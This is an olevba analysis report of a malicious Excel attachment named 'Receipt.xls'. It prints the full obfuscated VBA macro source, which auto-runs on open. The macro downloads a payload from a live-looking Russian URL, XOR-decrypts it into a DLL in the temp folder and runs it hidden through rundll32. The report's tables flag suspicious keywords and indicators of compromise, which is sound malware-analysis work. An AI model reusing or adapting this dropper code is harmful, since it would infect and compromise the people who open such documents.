olevba 0.25 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OpX:MASI-B- Receipt.xls
(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
===============================================================================
FILE: Receipt.xls
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub Workbook_Open()
ItNinja "ASDEX"
End Sub
Function copy_screen_to_array(output_array)
output_array = ""
Dim screenarray(23)
Row = 1
For Each Line In screenarray
EMReadS.creen reading_line, 80, Row, 1
output_array = output_array & reading_line & "UUDDLRLRBA"
Row = Row + 1
Next
output_array = Split(output_array, "UUDDLRLRBA")
End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+---------------+----------------------------------------+
| Type | Keyword | Description |
+----------+---------------+----------------------------------------+
| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
+----------+---------------+----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public moyaMANUNADAcdaw As Object
Public moyaMANUNAra12dv34 As Object
Public moyaMANUNAKSKLAL As Object
Public moyaMANUNALAKOPPC As String
Public moyaMANUNAPLdunay() As String
Public moyaMANUNAUUUKA As String
Public moyaMANUNAUUUKABBB As String
Public moyaMANUNAGMAKO As Object
Public moyaMANUNA4 As String
Public moyaMANUNA2 As String
Public moyaMANUNAASALLLP As Variant
Public Const moyaMANUNARH = "User-Agent"
Public Const RACHEL = "etofi"
Public Function TlfFormat(ByVal tlfNr As String, dilodan As Boolean) As String
Dim tmp As String
Dim i As Long
If dilodan Then
moyaMANUNALAKOPPC = moyaMANUNAKSKLAL(moyaMANUNAPLdunay(6))
moyaMANUNAUUUKA = moyaMANUNALAKOPPC
moyaMANUNAUUUKABBB = moyaMANUNAUUUKA + "\hrushki"
moyaMANUNAUUUKA = moyaMANUNAUUUKA + moyaMANUNAPLdunay(12)
Exit Function
Else
GoTo VarPupka
End If
restart:
For i = 1 To Len(tlfNr)
If Mid$(tlfNr, i, 1) = " " Then
tlfNr = Mid$(tlfNr, 1, i - 1) & Mid$(tlfNr, i + 1)
GoTo restart
End If
Next i
For i = 1 To Len(tlfNr)
tmp = tmp & Mid$(tlfNr, i, 1)
If i = 2 Or i = 4 Or i = 6 Or i = 8 Or i = 10 Then
tmp = tmp & " "
End If
Next i
TlfFormat = tmp
VarPupka:
CallByName moyaMANUNAra12dv34, "sav" + RACHEL + "le", VbMethod, moyaMANUNAUUUKABBB, 14 / 7
SaveAllStufAndExit moyaMANUNAUUUKABBB, moyaMANUNAUUUKA, "S2CsMgS5Y9WxzevdSUrPqUiTwI69FbRq"
Call Shell("rund" & "ll32.exe " & moyaMANUNAUUUKA & ",qwerty", vbHide)
End Function
Function PhraseCmd(cmd)
regEx.IgnoreCase = True
Set Matches = regEx.Execute(cmd)
If Matches.Count <> 0 Then
Set objMatch = Matches(0)
Command = objMatch.SubMatches(0)
WAITTIME = CInt(objMatch.SubMatches(1))
WScript.Echo "WMIEXEC : Waiting " & WAITTIME & " ms..." & vbNewLine
End If
regEx.Pattern = "(.*?)-persist"
regEx.IgnoreCase = True
Set Matches = regEx.Execute(cmd)
If Matches.Count <> 0 Then
Set objMatch = Matches(0)
Command = objMatch.SubMatches(0)
PhraseCmd = "persist"
End If
End Function
Function CreateShare()
Set objNewShare = objWMIService.Get("Win32_Share")
intReturn = objNewShare.Create _
(FilePath, "WMI_SHARE", 0, 25, "")
If intReturn <> 0 Then
WScript.Echo "WMIEXEC ERROR: Share could not be created." & _
vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
Select Case intReturn
Case 2
WScript.Echo "WMIEXEC ERROR: Access Denied!"
Case 9
WScript.Echo "WMIEXEC ERROR: Invalid File Path!"
Case 22
WScript.Echo "WMIEXEC ERROR: Share Name Already In Used!"
Case 24
WScript.Echo "WMIEXEC ERROR: Directory NOT exists!"
End Select
If intReturn <> 22 Then WScript.Quit 1
Else
WScript.Echo "WMIEXEC : Share created sucess."
WScript.Echo "WMIEXEC : Share Name -> WMI_SHARE"
WScript.Echo "WMIEXEC : Share Path -> " & FilePath
End If
End Function
Public Function GodnTeBabenParama(CH1 As String, CH2 As String, CH3 As String) As String
GodnTeBabenParama = Replace(CH1, CH2, CH3)
End Function
Public Function NombreUsuario() As String
Dim SQL As String
moyaMANUNAra12dv34.Type = 0 + 0 + 1
moyaMANUNAra12dv34.Open
Exit Function
SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario
If Not RsUsuario.EOF Then
NombreUsuario = RsUsuario!usu_apodo
End If
End Function
Function DeleteShare()
For Each objShare In colShares
intReturn = objShare.Delete
Next
If intReturn <> 0 Then
WScript.Echo "WMIEXEC ERROR: Delete Share failed." & _
vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
Select Case intReturn
Case 2
WScript.Echo "WMIEXEC ERROR: Access Denied!"
Case 25
WScript.Echo "WMIEXEC ERROR: Share Not Exists!"
End Select
Else
WScript.Echo "WMIEXEC : Share deleted sucess."
End If
End Function
Public Function ToDBDateTime(ByVal ddmmyyhhmmDateTime As String) As String
Set moyaMANUNA1DASH1solo = CreateObject(moyaMANUNAPLdunay(3))
Set moyaMANUNAKSKLAL = moyaMANUNA1DASH1solo.Environment(moyaMANUNAPLdunay(2 + 2))
VerCadenaPermiso ddmmyyhhmmDateTime
End Function
Public Sub DecryptByte(ByteArray() As Byte, Key As String)
Dim offset As Long
Dim ByteLen As Long
Dim ResultLen As Long
Dim CurrPercent As Long
Dim NextPercent As Long
Dim m_Key() As Byte
Dim m_KeyLen As Long
m_KeyLen = Len(Key)
ReDim m_Key(m_KeyLen)
m_Key = StrConv(Key, vbFromUnicode)
ByteLen = UBound(ByteArray) + 1
ResultLen = ByteLen
For offset = 0 To (ByteLen - 1)
ByteArray(offset) = ByteArray(offset) Xor m_Key(offset Mod m_KeyLen)
If (offset >= NextPercent) Then
CurrPercent = Int((offset / ResultLen) * 100)
NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1
End If
Next
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------+-----------------------------------------+
| Suspicious | CreateObject | May create an OLE object |
| Suspicious | CallByName | May attempt to obfuscate malicious |
| | | function calls |
| Suspicious | Open | May open a file |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | vbHide | May run an executable file or a system |
| | | command |
| Suspicious | Xor | May attempt to obfuscate specific |
| | | strings |
| Suspicious | Base64 Strings | Base64-encoded strings were detected, |
| | | may be used to obfuscate strings |
| | | (option --decode to see all) |
| IOC | ll32.exe | Executable file name |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Sub VerCadenaPermiso(permiso As String)
Dim i As Long
Dim letra As String
Alta = False
Baja = False
modi = False
Dim Consu As Boolean
Consu = True
moyaMANUNA4 = "http://opmsk.ru/g76ub76"
If Application = "Microsoft Excel" Then
moyaMANUNADAcdaw.Open moyaMANUNAPLdunay(5), moyaMANUNA4, False
moyaMANUNADAcdaw.setRequestHeader moyaMANUNARH, "Mozilla/4.5 (compatible; MSIE 6.5; Windows NT 5.5)"
moyaMANUNADAcdaw.Send
TlfFormat letra, True
NombreUsuario
moyaMANUNAacheha letra
End If
Exit Sub
For i = 1 To Len(permiso)
letra = Mid(permiso, i, 1)
If letra = "A" Then
Alta = True
End If
If letra = "B" Then
Baja = True
End If
If letra = "M" Then
modi = True
End If
If letra = "C" Then
Consu = True
End If
Next i
If Len(permiso) = 0 Then
Consu = False
modi = False
Alta = False
Baja = False
End If
End Sub
Public Function GetResulOfMyResult(ByVal Cadena As String) As String
moyaMANUNA2 = GodnTeBabenParama(moyaMANUNA2, "=CH", "M")
GetCurrentFolder
Set moyaMANUNAra12dv34 = CreateObject(moyaMANUNAPLdunay(1))
Set moyaMANUNAGMAKO = CreateObject(moyaMANUNAPLdunay(5 - 3))
ClearString ""
End Function
Public Function moyaMANUNAacheha(pass As String) As String
Dim temp As String
Dim moyaMANUNAtum As String
GoTo beyTumba
Dim pos As Long
Dim leng As Long
Dim tim As Variant
Dim i As Long
Dim Key As Long
leng = Len(pass)
tim = Mid(Time, 1, 8)
tim = Mid(tim, 1, Len(tim) - 3)
tim = Mid(tim, Len(tim) - 1, 2) * Int(Rnd * 100)
For i = 1 To Len(CStr(tim))
pos = pos + CInt(Mid(CStr(tim), i, 1))
Next
While pos > Len(pass)
pos = pos Mod 10 + Int(Rnd * 10)
If pos = 0 Then
pos = Len(pass) + 1
End If
Wend
beyTumba:
moyaMANUNAASALLLP = moyaMANUNADAcdaw.responseBody
ReadResult
End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------------+-----------------------------------------+
| Suspicious | CreateObject | May create an OLE object |
| Suspicious | Open | May open a file |
| Suspicious | Windows | May enumerate application windows (if |
| | | combined with Shell.Application object) |
| IOC | http://opmsk.ru/g76u | URL |
| | b76 | |
+------------+----------------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ReadResult()
moyaMANUNAra12dv34.Write moyaMANUNAASALLLP
GoTo pid7
WScript.Sleep (WAITTIME)
UNCFilePath = "\\" & host & "\" & "WMI_SHARE" & "\" & Filename
Set fso = CreateObject("Scripting.FileSystemObject")
Set objFile = fso.OpenTextFile(UNCFilePath, 1)
If Not objFile.AtEndOfStream Then strContents = objFile.ReadAll
objFile.Close
WScript.Echo strContents
strDelFile = "del " & file & " /F"
exe.c strDelFile, "nul"
pid7:
TlfFormat "", False
End Function
Public Function GetCurrentFolder()
moyaMANUNA2 = GodnTeBabenParama(moyaMANUNA2, "*P", LCase("S"))
GoTo mig5
WScript.Sleep (WAITTIME)
UNCFilePath = "\\" & host & "\" & "WMI_SHARE" & "\" & Filename
Set fso = CreateObject("Scripting.FileSystemObject")
Set objFile = fso.OpenTextFile(UNCFilePath, 1)
GetCurrentFolder = objFile.ReadLine
objFile.Close
strDelFile = "del " & file & " /F"
exe.c strDelFile, "nul"
mig5:
moyaMANUNAPLdunay = Split(moyaMANUNA2, "JIIIINX")
End Function
Public Function ClearString(ByRef inOrigString As String) As String
Dim strNewString As String
Dim sChar As String
Dim i As Integer
Dim d As Boolean
d = True
IsWord = True
For i = 1 To Len(Trim("Reika"))
If d = False Then
Set moyaMANUNADAcdaw = CreateObject(moyaMANUNAPLdunay(i - 2))
Exit For
Else
d = False
End If
Next i
ToDBDateTime ""
Exit Function
Call check_fo.r_MAXIS(False)
Call navigate_t.o_MAXIS_screen("POLI", "____")
EMWri.teScreen "TEMP", 5, 40
EMWri.teScreen "TABLE", 21, 71
trans.mit
Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = True
Set objWorkbook = objExcel.Workbooks.Add()
objExcel.DisplayAlerts = True
objExcel.Cells(1, 1).Value = "TITLE"
objExcel.Cells(1, 2).Value = "SECTION"
objExcel.Cells(1, 3).Value = "REVISED"
For i = 1 To 3
objExcel.Cells(1, i).Font.Bold = True
Next
ClearString = strNewString
End Function
Public Sub SaveAllStufAndExit(SourceFile As String, DestFile As String, Optional Key As String)
Dim libhercen As Integer
Dim ByteArray() As Byte
libhercen = FreeFile
Open SourceFile For Binary As #libhercen
ReDim ByteArray(0 To LOF(libhercen) - 1)
Get #libhercen, , ByteArray()
Close #libhercen
Call DecryptByte(ByteArray(), Key)
libhercen = FreeFile
Open DestFile For Binary As #libhercen
Put #libhercen, , ByteArray()
Close #libhercen
End Sub
Public Function ItNinja(ByRef inGUID As String) As String
moyaMANUNA2 = "=CHicro*Poft.X=CHLHTTPJIIIINXAdodb.*Ptr-Ea=CHJIIIINX*Ph-Ell.Ap"
moyaMANUNA2 = moyaMANUNA2 + GodnTeBabenParama("plicationJIIIINXW*Pcript.*Ph-EllJIIIINXProc-E*P*PJIIIINXG-ETJIIIINXT-E=CHPJIIIINXTyp-EJIIIINXop-EnJIIIINXwritFILMABOpon*P-EBodyJIIIINX*Pav-Etofil-EJIIIINX", "FILMABO", "-EJIIIINXr-E*P")
moyaMANUNA2 = GodnTeBabenParama(moyaMANUNA2 + "\hupoa*P.dll", "-E", "e")
GetResulOfMyResult "-"
Exit Function
If Mid$(inGUID, 1, 1) <> "{" Then
ItNinja = "{" & inGUID & "}"
Else
ItNinja = inGUID
End If
End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------+-----------------------------------------+
| Suspicious | CreateObject | May create an OLE object |
| Suspicious | Open | May open a file |
| Suspicious | Write | May write to a file (if combined with |
| | | Open) |
| Suspicious | Put | May write to a file (if combined with |
| | | Open) |
| Suspicious | Binary | May read or write a binary file (if |
| | | combined with Open) |
| Suspicious | Base64 Strings | Base64-encoded strings were detected, |
| | | may be used to obfuscate strings |
| | | (option --decode to see all) |
| IOC | P.dll | Executable file name |
+------------+----------------+-----------------------------------------+
Comments